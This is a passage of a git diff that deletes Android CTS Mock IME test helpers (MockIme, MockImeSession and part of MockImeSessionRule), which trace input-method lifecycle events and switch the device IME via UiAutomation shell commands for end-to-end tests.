-            throw new IllegalStateException("Settings file is not found. "
-                    + "Make sure MockImeSession.create() is used to launch Mock IME.");
-        }
-        mClientPackageName.set(mSettings.getClientPackageName());
-        mImeEventActionName.set(mSettings.getEventCallbackActionName());
-
-        getTracer().onCreate(() -> {
-            super.onCreate();
-            mHandlerThread.start();
-            final String actionName = getCommandActionName(mSettings.getEventCallbackActionName());
-            mCommandReceiver = new CommandReceiver(actionName, this::onReceiveCommand);
-            final IntentFilter filter = new IntentFilter(actionName);
-            final Handler handler = new Handler(mHandlerThread.getLooper());
-            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
-                registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler,
-                        Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
-            } else {
-                registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
-            }
-
-            final int windowFlags = mSettings.getWindowFlags(0);
-            final int windowFlagsMask = mSettings.getWindowFlagsMask(0);
-            if (windowFlags != 0 || windowFlagsMask != 0) {
-                final int prevFlags = getWindow().getWindow().getAttributes().flags;
-                getWindow().getWindow().setFlags(windowFlags, windowFlagsMask);
-                // For some reasons, seems that we need to post another requestLayout() when
-                // FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS bit is changed.
-                // TODO: Investigate the reason.
-                if ((windowFlagsMask & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0) {
-                    final boolean hadFlag = (prevFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
-                    final boolean hasFlag = (windowFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
-                    if (hadFlag != hasFlag) {
-                        final View decorView = getWindow().getWindow().getDecorView();
-                        decorView.post(() -> decorView.requestLayout());
-                    }
-                }
-            }
-
-            if (mSettings.hasNavigationBarColor()) {
-                getWindow().getWindow().setNavigationBarColor(mSettings.getNavigationBarColor());
-            }
-        });
-    }
-
-    @Override
-    public void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly) {
-        getTracer().onConfigureWindow(win, isFullscreen, isCandidatesOnly,
-                () -> super.onConfigureWindow(win, isFullscreen, isCandidatesOnly));
-    }
-
-    @Override
-    public boolean onEvaluateFullscreenMode() {
-        return getTracer().onEvaluateFullscreenMode(() ->
-                mSettings.fullscreenModeAllowed(false) && super.onEvaluateFullscreenMode());
-    }
-
-    private static final class KeyboardLayoutView extends LinearLayout {
-        @NonNull
-        private final ImeSettings mSettings;
-        @NonNull
-        private final View.OnLayoutChangeListener mLayoutListener;
-
-        KeyboardLayoutView(Context context, @NonNull ImeSettings imeSettings,
-                @Nullable Consumer<ImeLayoutInfo> onInputViewLayoutChangedCallback) {
-            super(context);
-
-            mSettings = imeSettings;
-
-            setOrientation(VERTICAL);
-
-            final int defaultBackgroundColor =
-                    getResources().getColor(android.R.color.holo_orange_dark, null);
-            setBackgroundColor(mSettings.getBackgroundColor(defaultBackgroundColor));
-
-            final int mainSpacerHeight = mSettings.getInputViewHeightWithoutSystemWindowInset(
-                    LayoutParams.WRAP_CONTENT);
-            {
-                final RelativeLayout layout = new RelativeLayout(getContext());
-                final TextView textView = new TextView(getContext());
-                final RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
-                        RelativeLayout.LayoutParams.MATCH_PARENT,
-                        RelativeLayout.LayoutParams.WRAP_CONTENT);
-                params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
-                textView.setLayoutParams(params);
-                textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 20);
-                textView.setGravity(Gravity.CENTER);
-                textView.setText(getImeId());
-                layout.addView(textView);
-                addView(layout, LayoutParams.MATCH_PARENT, mainSpacerHeight);
-            }
-
-            final int systemUiVisibility = mSettings.getInputViewSystemUiVisibility(0);
-            if (systemUiVisibility != 0) {
-                setSystemUiVisibility(systemUiVisibility);
-            }
-
-            mLayoutListener = (View v, int left, int top, int right, int bottom, int oldLeft,
-                    int oldTop, int oldRight, int oldBottom) ->
-                    onInputViewLayoutChangedCallback.accept(
-                            ImeLayoutInfo.fromLayoutListenerCallback(
-                                    v, left, top, right, bottom, oldLeft, oldTop, oldRight,
-                                    oldBottom));
-            this.addOnLayoutChangeListener(mLayoutListener);
-        }
-
-        private void updateBottomPaddingIfNecessary(int newPaddingBottom) {
-            if (getPaddingBottom() != newPaddingBottom) {
-                setPadding(getPaddingLeft(), getPaddingTop(), getPaddingRight(), newPaddingBottom);
-            }
-        }
-
-        @Override
-        public WindowInsets onApplyWindowInsets(WindowInsets insets) {
-            if (insets.isConsumed()
-                    || (getSystemUiVisibility() & SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION) == 0) {
-                // In this case we are not interested in consuming NavBar region.
-                // Make sure that the bottom padding is empty.
-                updateBottomPaddingIfNecessary(0);
-                return insets;
-            }
-
-            // In some cases the bottom system window inset is not a navigation bar. Wear devices
-            // that have bottom chin are examples.  For now, assume that it's a navigation bar if it
-            // has the same height as the root window's stable bottom inset.
-            final WindowInsets rootWindowInsets = getRootWindowInsets();
-            if (rootWindowInsets != null && (rootWindowInsets.getStableInsetBottom()
-                    != insets.getSystemWindowInsetBottom())) {
-                // This is probably not a NavBar.
-                updateBottomPaddingIfNecessary(0);
-                return insets;
-            }
-
-            final int possibleNavBarHeight = insets.getSystemWindowInsetBottom();
-            updateBottomPaddingIfNecessary(possibleNavBarHeight);
-            return possibleNavBarHeight <= 0
-                    ? insets
-                    : insets.replaceSystemWindowInsets(
-                            insets.getSystemWindowInsetLeft(),
-                            insets.getSystemWindowInsetTop(),
-                            insets.getSystemWindowInsetRight(),
-                            0 /* bottom */);
-        }
-
-        @Override
-        protected void onDetachedFromWindow() {
-            super.onDetachedFromWindow();
-            removeOnLayoutChangeListener(mLayoutListener);
-        }
-    }
-
-    private void onInputViewLayoutChanged(@NonNull ImeLayoutInfo layoutInfo) {
-        getTracer().onInputViewLayoutChanged(layoutInfo, () -> { });
-    }
-
-    @Override
-    public View onCreateInputView() {
-        return getTracer().onCreateInputView(() ->
-                new KeyboardLayoutView(this, mSettings, this::onInputViewLayoutChanged));
-    }
-
-    @Override
-    public void onStartInput(EditorInfo editorInfo, boolean restarting) {
-        getTracer().onStartInput(editorInfo, restarting,
-                () -> super.onStartInput(editorInfo, restarting));
-    }
-
-    @Override
-    public void onStartInputView(EditorInfo editorInfo, boolean restarting) {
-        getTracer().onStartInputView(editorInfo, restarting,
-                () -> super.onStartInputView(editorInfo, restarting));
-    }
-
-    @Override
-    public void onFinishInputView(boolean finishingInput) {
-        getTracer().onFinishInputView(finishingInput,
-                () -> super.onFinishInputView(finishingInput));
-    }
-
-    @Override
-    public void onFinishInput() {
-        getTracer().onFinishInput(() -> super.onFinishInput());
-    }
-
-    @Override
-    public boolean onKeyDown(int keyCode, KeyEvent event) {
-        return getTracer().onKeyDown(keyCode, event, () -> super.onKeyDown(keyCode, event));
-    }
-
-    @CallSuper
-    public boolean onEvaluateInputViewShown() {
-        return getTracer().onEvaluateInputViewShown(() -> {
-            // onShowInputRequested() is indeed @CallSuper so we always call this, even when the
-            // result is ignored.
-            final boolean originalResult = super.onEvaluateInputViewShown();
-            if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
-                final Configuration config = getResources().getConfiguration();
-                if (config.keyboard != Configuration.KEYBOARD_NOKEYS
-                        && config.hardKeyboardHidden != Configuration.HARDKEYBOARDHIDDEN_YES) {
-                    // Override the behavior of InputMethodService#onEvaluateInputViewShown()
-                    return true;
-                }
-            }
-            return originalResult;
-        });
-    }
-
-    @Override
-    public boolean onShowInputRequested(int flags, boolean configChange) {
-        return getTracer().onShowInputRequested(flags, configChange, () -> {
-            // onShowInputRequested() is not marked with @CallSuper, but just in case.
-            final boolean originalResult = super.onShowInputRequested(flags, configChange);
-            if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
-                if ((flags & InputMethod.SHOW_EXPLICIT) == 0
-                        && getResources().getConfiguration().keyboard
-                        != Configuration.KEYBOARD_NOKEYS) {
-                    // Override the behavior of InputMethodService#onShowInputRequested()
-                    return true;
-                }
-            }
-            return originalResult;
-        });
-    }
-
-    @Override
-    public void onDestroy() {
-        getTracer().onDestroy(() -> {
-            super.onDestroy();
-            unregisterReceiver(mCommandReceiver);
-            mHandlerThread.quitSafely();
-        });
-    }
-
-    @Override
-    public AbstractInputMethodImpl onCreateInputMethodInterface() {
-        return getTracer().onCreateInputMethodInterface(() -> new MockInputMethodImpl());
-    }
-
-    private final ThreadLocal<Tracer> mThreadLocalTracer = new ThreadLocal<>();
-
-    private Tracer getTracer() {
-        Tracer tracer = mThreadLocalTracer.get();
-        if (tracer == null) {
-            tracer = new Tracer(this);
-            mThreadLocalTracer.set(tracer);
-        }
-        return tracer;
-    }
-
-    @NonNull
-    private ImeState getState() {
-        final boolean hasInputBinding = getCurrentInputBinding() != null;
-        final boolean hasDummyInputConnectionConnection =
-                !hasInputBinding
-                        || getCurrentInputConnection() == getCurrentInputBinding().getConnection();
-        return new ImeState(hasInputBinding, hasDummyInputConnectionConnection);
-    }
-
-    /**
-     * Event tracing helper class for {@link MockIme}.
-     */
-    private static final class Tracer {
-
-        @NonNull
-        private final MockIme mIme;
-
-        private final int mThreadId = Process.myTid();
-
-        @NonNull
-        private final String mThreadName =
-                Thread.currentThread().getName() != null ? Thread.currentThread().getName() : "";
-
-        private final boolean mIsMainThread =
-                Looper.getMainLooper().getThread() == Thread.currentThread();
-
-        private int mNestLevel = 0;
-
-        private String mImeEventActionName;
-
-        private String mClientPackageName;
-
-        Tracer(@NonNull MockIme mockIme) {
-            mIme = mockIme;
-        }
-
-        private void sendEventInternal(@NonNull ImeEvent event) {
-            if (mImeEventActionName == null) {
-                mImeEventActionName = mIme.getImeEventActionName();
-            }
-            if (mClientPackageName == null) {
-                mClientPackageName = mIme.getClientPackageName();
-            }
-            if (mImeEventActionName == null || mClientPackageName == null) {
-                Log.e(TAG, "Tracer cannot be used before onCreate()");
-                return;
-            }
-            final Intent intent = new Intent()
-                    .setAction(mImeEventActionName)
-                    .setPackage(mClientPackageName)
-                    .putExtras(event.toBundle())
-                    .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY
-                            | Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS);
-            mIme.sendBroadcast(intent);
-        }
-
-        private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable) {
-            recordEventInternal(eventName, runnable, new Bundle());
-        }
-
-        private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable,
-                @NonNull Bundle arguments) {
-            recordEventInternal(eventName, () -> {
-                runnable.run(); return null;
-            }, arguments);
-        }
-
-        private <T> T recordEventInternal(@NonNull String eventName,
-                @NonNull Supplier<T> supplier) {
-            return recordEventInternal(eventName, supplier, new Bundle());
-        }
-
-        private <T> T recordEventInternal(@NonNull String eventName,
-                @NonNull Supplier<T> supplier, @NonNull Bundle arguments) {
-            final ImeState enterState = mIme.getState();
-            final long enterTimestamp = SystemClock.elapsedRealtimeNanos();
-            final long enterWallTime = System.currentTimeMillis();
-            final int nestLevel = mNestLevel;
-            // Send enter event
-            sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
-                    mThreadId, mIsMainThread, enterTimestamp, 0, enterWallTime,
-                    0, enterState, null, arguments, null));
-            ++mNestLevel;
-            T result;
-            try {
-                result = supplier.get();
-            } finally {
-                --mNestLevel;
-            }
-            final long exitTimestamp = SystemClock.elapsedRealtimeNanos();
-            final long exitWallTime = System.currentTimeMillis();
-            final ImeState exitState = mIme.getState();
-            // Send exit event
-            sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
-                    mThreadId, mIsMainThread, enterTimestamp, exitTimestamp, enterWallTime,
-                    exitWallTime, enterState, exitState, arguments, result));
-            return result;
-        }
-
-        public void onCreate(@NonNull Runnable runnable) {
-            recordEventInternal("onCreate", runnable);
-        }
-
-        public void onConfigureWindow(Window win, boolean isFullscreen,
-                boolean isCandidatesOnly, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBoolean("isFullscreen", isFullscreen);
-            arguments.putBoolean("isCandidatesOnly", isCandidatesOnly);
-            recordEventInternal("onConfigureWindow", runnable, arguments);
-        }
-
-        public boolean onEvaluateFullscreenMode(@NonNull BooleanSupplier supplier) {
-            return recordEventInternal("onEvaluateFullscreenMode", supplier::getAsBoolean);
-        }
-
-        public boolean onEvaluateInputViewShown(@NonNull BooleanSupplier supplier) {
-            return recordEventInternal("onEvaluateInputViewShown", supplier::getAsBoolean);
-        }
-
-        public View onCreateInputView(@NonNull Supplier<View> supplier) {
-            return recordEventInternal("onCreateInputView", supplier);
-        }
-
-        public void onStartInput(EditorInfo editorInfo, boolean restarting,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putParcelable("editorInfo", editorInfo);
-            arguments.putBoolean("restarting", restarting);
-            recordEventInternal("onStartInput", runnable, arguments);
-        }
-
-        public void onStartInputView(EditorInfo editorInfo, boolean restarting,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putParcelable("editorInfo", editorInfo);
-            arguments.putBoolean("restarting", restarting);
-            recordEventInternal("onStartInputView", runnable, arguments);
-        }
-
-        public void onFinishInputView(boolean finishingInput, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBoolean("finishingInput", finishingInput);
-            recordEventInternal("onFinishInputView", runnable, arguments);
-        }
-
-        public void onFinishInput(@NonNull Runnable runnable) {
-            recordEventInternal("onFinishInput", runnable);
-        }
-
-        public boolean onKeyDown(int keyCode, KeyEvent event, @NonNull BooleanSupplier supplier) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("keyCode", keyCode);
-            arguments.putParcelable("event", event);
-            return recordEventInternal("onKeyDown", supplier::getAsBoolean, arguments);
-        }
-
-        public boolean onShowInputRequested(int flags, boolean configChange,
-                @NonNull BooleanSupplier supplier) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("flags", flags);
-            arguments.putBoolean("configChange", configChange);
-            return recordEventInternal("onShowInputRequested", supplier::getAsBoolean, arguments);
-        }
-
-        public void onDestroy(@NonNull Runnable runnable) {
-            recordEventInternal("onDestroy", runnable);
-        }
-
-        public void attachToken(IBinder token, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBinder("token", token);
-            recordEventInternal("attachToken", runnable, arguments);
-        }
-
-        public void bindInput(InputBinding binding, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putParcelable("binding", binding);
-            recordEventInternal("bindInput", runnable, arguments);
-        }
-
-        public void unbindInput(@NonNull Runnable runnable) {
-            recordEventInternal("unbindInput", runnable);
-        }
-
-        public void showSoftInput(int flags, ResultReceiver resultReceiver,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("flags", flags);
-            arguments.putParcelable("resultReceiver", resultReceiver);
-            recordEventInternal("showSoftInput", runnable, arguments);
-        }
-
-        public void hideSoftInput(int flags, ResultReceiver resultReceiver,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("flags", flags);
-            arguments.putParcelable("resultReceiver", resultReceiver);
-            recordEventInternal("hideSoftInput", runnable, arguments);
-        }
-
-        public AbstractInputMethodImpl onCreateInputMethodInterface(
-                @NonNull Supplier<AbstractInputMethodImpl> supplier) {
-            return recordEventInternal("onCreateInputMethodInterface", supplier);
-        }
-
-        public void onReceiveCommand(
-                @NonNull ImeCommand command, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBundle("command", command.toBundle());
-            recordEventInternal("onReceiveCommand", runnable, arguments);
-        }
-
-        public void onHandleCommand(
-                @NonNull ImeCommand command, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBundle("command", command.toBundle());
-            recordEventInternal("onHandleCommand", runnable, arguments);
-        }
-
-        public void onInputViewLayoutChanged(@NonNull ImeLayoutInfo imeLayoutInfo,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            imeLayoutInfo.writeToBundle(arguments);
-            recordEventInternal("onInputViewLayoutChanged", runnable, arguments);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
deleted file mode 100644
index 727da2c..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
+++ /dev/null
@@ -1,323 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.provider.Settings;
-import androidx.annotation.GuardedBy;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.text.TextUtils;
-import android.view.inputmethod.InputMethodManager;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.io.IOException;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
- * for IME APIs.
- *
- * <p>To use {@link MockIme} via {@link MockImeSession}, you need to </p>
- * <p>Public methods are not thread-safe.</p>
- */
-public class MockImeSession implements AutoCloseable {
-    private final String mImeEventActionName =
-            "com.android.cts.mockime.action.IME_EVENT." + SystemClock.elapsedRealtimeNanos();
-
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10);
-
-    @NonNull
-    private final Context mContext;
-    @NonNull
-    private final UiAutomation mUiAutomation;
-
-    private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
-
-    private static final class EventStore {
-        private static final int INITIAL_ARRAY_SIZE = 32;
-
-        @NonNull
-        public final ImeEvent[] mArray;
-        public int mLength;
-
-        EventStore() {
-            mArray = new ImeEvent[INITIAL_ARRAY_SIZE];
-            mLength = 0;
-        }
-
-        EventStore(EventStore src, int newLength) {
-            mArray = new ImeEvent[newLength];
-            mLength = src.mLength;
-            System.arraycopy(src.mArray, 0, mArray, 0, src.mLength);
-        }
-
-        public EventStore add(ImeEvent event) {
-            if (mLength + 1 <= mArray.length) {
-                mArray[mLength] = event;
-                ++mLength;
-                return this;
-            } else {
-                return new EventStore(this, mLength * 2).add(event);
-            }
-        }
-
-        public ImeEventStream.ImeEventArray takeSnapshot() {
-            return new ImeEventStream.ImeEventArray(mArray, mLength);
-        }
-    }
-
-    private static final class MockImeEventReceiver extends BroadcastReceiver {
-        private final Object mLock = new Object();
-
-        @GuardedBy("mLock")
-        @NonNull
-        private EventStore mCurrentEventStore = new EventStore();
-
-        @NonNull
-        private final String mActionName;
-
-        MockImeEventReceiver(@NonNull String actionName) {
-            mActionName = actionName;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (TextUtils.equals(mActionName, intent.getAction())) {
-                synchronized (mLock) {
-                    mCurrentEventStore =
-                            mCurrentEventStore.add(ImeEvent.fromBundle(intent.getExtras()));
-                }
-            }
-        }
-
-        public ImeEventStream.ImeEventArray takeEventSnapshot() {
-            synchronized (mLock) {
-                return mCurrentEventStore.takeSnapshot();
-            }
-        }
-    }
-    private final MockImeEventReceiver mEventReceiver =
-            new MockImeEventReceiver(mImeEventActionName);
-
-    private final ImeEventStream mEventStream =
-            new ImeEventStream(mEventReceiver::takeEventSnapshot);
-
-    private static String executeShellCommand(
-            @NonNull UiAutomation uiAutomation, @NonNull String command) throws IOException {
-        try (ParcelFileDescriptor.AutoCloseInputStream in =
-                     new ParcelFileDescriptor.AutoCloseInputStream(
-                             uiAutomation.executeShellCommand(command))) {
-            final StringBuilder sb = new StringBuilder();
-            final byte[] buffer = new byte[4096];
-            while (true) {
-                final int numRead = in.read(buffer);
-                if (numRead <= 0) {
-                    break;
-                }
-                sb.append(new String(buffer, 0, numRead));
-            }
-            return sb.toString();
-        }
-    }
-
-    @Nullable
-    private String getCurrentInputMethodId() {
-        // TODO: Replace this with IMM#getCurrentInputMethodIdForTesting()
-        return Settings.Secure.getString(mContext.getContentResolver(),
-                Settings.Secure.DEFAULT_INPUT_METHOD);
-    }
-
-    @Nullable
-    private static void writeMockImeSettings(@NonNull Context context,
-            @NonNull String imeEventActionName,
-            @Nullable ImeSettings.Builder imeSettings) throws Exception {
-        final Bundle bundle = ImeSettings.serializeToBundle(imeEventActionName, imeSettings);
-        context.getContentResolver().call(SettingsProvider.AUTHORITY, "write", null, bundle);
-    }
-
-    private ComponentName getMockImeComponentName() {
-        return MockIme.getComponentName();
-    }
-
-    private String getMockImeId() {
-        return MockIme.getImeId();
-    }
-
-    private MockImeSession(@NonNull Context context, @NonNull UiAutomation uiAutomation) {
-        mContext = context;
-        mUiAutomation = uiAutomation;
-    }
-
-    private void initialize(@Nullable ImeSettings.Builder imeSettings) throws Exception {
-        // Make sure that MockIME is not selected.
-        if (mContext.getSystemService(InputMethodManager.class)
-                .getInputMethodList()
-                .stream()
-                .anyMatch(info -> getMockImeComponentName().equals(info.getComponent()))) {
-            executeShellCommand(mUiAutomation, "ime reset");
-        }
-        if (mContext.getSystemService(InputMethodManager.class)
-                .getEnabledInputMethodList()
-                .stream()
-                .anyMatch(info -> getMockImeComponentName().equals(info.getComponent()))) {
-            throw new IllegalStateException();
-        }
-
-        writeMockImeSettings(mContext, mImeEventActionName, imeSettings);
-
-        mHandlerThread.start();
-        mContext.registerReceiver(mEventReceiver,
-                new IntentFilter(mImeEventActionName), null /* broadcastPermission */,
-                new Handler(mHandlerThread.getLooper()));
-
-        executeShellCommand(mUiAutomation, "ime enable " + getMockImeId());
-        executeShellCommand(mUiAutomation, "ime set " + getMockImeId());
-
-        PollingCheck.check("Make sure that MockIME becomes available", TIMEOUT,
-                () -> getMockImeId().equals(getCurrentInputMethodId()));
-    }
-
-    /**
-     * Creates a new Mock IME session. During this session, you can receive various events from
-     * {@link MockIme}.
-     *
-     * @param context {@link Context} to be used to receive inter-process events from the
-     *                {@link MockIme} (e.g. via {@link BroadcastReceiver}
-     * @param uiAutomation {@link UiAutomation} object to change the device state that are typically
-     *                     guarded by permissions.
-     * @param imeSettings Key-value pairs to be passed to the {@link MockIme}.
-     * @return A session object, with which you can retrieve event logs from the {@link MockIme} and
-     *         can clean up the session.
-     */
-    @NonNull
-    public static MockImeSession create(
-            @NonNull Context context,
-            @NonNull UiAutomation uiAutomation,
-            @Nullable ImeSettings.Builder imeSettings) throws Exception {
-        final MockImeSession client = new MockImeSession(context, uiAutomation);
-        client.initialize(imeSettings);
-        return client;
-    }
-
-    /**
-     * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
-     *         session is created.
-     */
-    public ImeEventStream openEventStream() {
-        return mEventStream.copy();
-    }
-
-    /**
-     * Closes the active session and de-selects {@link MockIme}. Currently which IME will be
-     * selected next is up to the system.
-     */
-    public void close() throws Exception {
-        executeShellCommand(mUiAutomation, "ime reset");
-
-        PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
-                mContext.getSystemService(InputMethodManager.class)
-                        .getEnabledInputMethodList()
-                        .stream()
-                        .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
-
-        mContext.unregisterReceiver(mEventReceiver);
-        mHandlerThread.quitSafely();
-        mContext.getContentResolver().call(SettingsProvider.AUTHORITY, "delete", null, null);
-    }
-
-    /**
-     * Lets {@link MockIme} to call
-     * {@link android.view.inputmethod.InputConnection#commitText(CharSequence, int)} with the given
-     * parameters.
-     *
-     * <p>This triggers {@code getCurrentInputConnection().commitText(text, newCursorPosition)}.</p>
-     *
-     * @param text to be passed as the {@code text} parameter
-     * @param newCursorPosition to be passed as the {@code newCursorPosition} parameter
-     * @return {@link ImeCommand} object that can be passed to
-     *         {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
-     *         wait until this event is handled by {@link MockIme}
-     */
-    @NonNull
-    public ImeCommand callCommitText(@NonNull CharSequence text, int newCursorPosition) {
-        final Bundle params = new Bundle();
-        params.putCharSequence("text", text);
-        params.putInt("newCursorPosition", newCursorPosition);
-        final ImeCommand command = new ImeCommand(
-                "commitText", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-
-    @NonNull
-    public ImeCommand callSetBackDisposition(int backDisposition) {
-        final Bundle params = new Bundle();
-        params.putInt("backDisposition", backDisposition);
-        final ImeCommand command = new ImeCommand(
-                "setBackDisposition", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-
-    @NonNull
-    public ImeCommand callRequestHideSelf(int flags) {
-        final Bundle params = new Bundle();
-        params.putInt("flags", flags);
-        final ImeCommand command = new ImeCommand(
-                "requestHideSelf", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-
-    @NonNull
-    public ImeCommand callRequestShowSelf(int flags) {
-        final Bundle params = new Bundle();
-        params.putInt("flags", flags);
-        final ImeCommand command = new ImeCommand(
-                "requestShowSelf", SystemClock.elapsedRealtimeNanos(), true, params);
-        final Intent intent = new Intent();
-        intent.setPackage(MockIme.getComponentName().getPackageName());
-        intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
-        intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
deleted file mode 100644
index 8632c3b..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockImeSessionRule.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.mockime;
-
-import android.app.UiAutomation;
-import android.content.Context;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.cts.mockime.ImeSettings.Builder;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import static org.junit.Assume.assumeTrue;
-
-/**
- * Custom JUnit4 rule to automatically open and close a {@link MockImeSession}.
- */
-public final class MockImeSessionRule implements TestRule {
-
-    private static final String TAG = MockImeSessionRule.class.getSimpleName();
-    private final Context mContext;
-    private final Builder mImeSettings;
-    private final UiAutomation mUiAutomation;
-    private MockImeSession mMockImeSession;
-    private boolean mIgnoreInitException;
-    private Throwable mInitException;
-
-    public MockImeSessionRule() {
-        this(InstrumentationRegistry.getTargetContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder(), /* ignoreInitException= */ false);
-    }
-
-    public MockImeSessionRule(boolean ignoreInitException) {
-        this(InstrumentationRegistry.getTargetContext(),
-                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-                new ImeSettings.Builder(), ignoreInitException);
-    }
-
-    public MockImeSessionRule(@NonNull Context context, @NonNull UiAutomation uiAutomation,
-            @NonNull ImeSettings.Builder imeSettings, boolean ignoreInitException) {
-        mContext = context;
-        mUiAutomation = uiAutomation;
-        mImeSettings = imeSettings;
-        mIgnoreInitException = ignoreInitException;
-    }
-
-    @Override
-    public Statement apply(@NonNull Statement base, @NonNull Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                if (Log.isLoggable(TAG, Log.VERBOSE)) {
-                    Log.v(TAG, "Creating MockImeSession on " + description.getDisplayName());
-                }
-                try {
-                    mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
-                } catch (Throwable t) {
-                    Log.e(TAG, "Error creating MockImeSession", t);
-                    if (mIgnoreInitException) {
-                        mInitException = t;
-                    } else {
-                        throw t;
-                    }
-                }
-                try {
-                    base.evaluate();
-                } finally {
-                    if (mMockImeSession != null) {
-                        if (Log.isLoggable(TAG, Log.VERBOSE)) {
-                            Log.v(TAG, "Closing MockImeSession on " + description.getDisplayName());
-                        }
-                        mMockImeSession.close();
-                    }
-                }
-            }
-        };
-    }
-
-    @Nullable
